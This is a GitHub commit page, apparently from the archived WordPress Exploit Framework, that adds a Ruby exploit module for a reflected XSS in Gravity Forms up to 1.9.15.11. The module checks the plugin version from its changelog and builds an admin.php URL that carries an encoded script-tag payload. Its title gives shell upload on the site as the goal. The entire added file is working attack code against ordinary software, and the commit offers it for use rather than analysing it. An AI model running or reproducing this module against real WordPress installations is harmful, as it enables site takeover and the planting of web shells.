Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 6970fbf

Browse files
committed
Add Gravity Forms <= 1.9.15.11 reflected XSS shell upload
1 parent 1ecc49b commit 6970fbf

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
class Wpxf::Exploit::GravityFormsV191511ReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Gravity Forms <= 1.9.15.11 Reflected XSS Shell Upload',
9+
author: [
10+
'Henri Salo', # Discovery
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8400'],
15+
['URL', 'http://seclists.org/bugtraq/2016/Mar/0']
16+
],
17+
date: 'Mar 01 2016'
18+
)
19+
end
20+
21+
def check
22+
changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
23+
check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
24+
end
25+
26+
def vulnerable_url
27+
normalize_uri(wordpress_url_admin, 'admin.php')
28+
end
29+
30+
def url_with_xss
31+
"#{vulnerable_url}?page=gf_settings&subview=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%0A"
32+
end
33+
end

0 commit comments

Comments
 (0)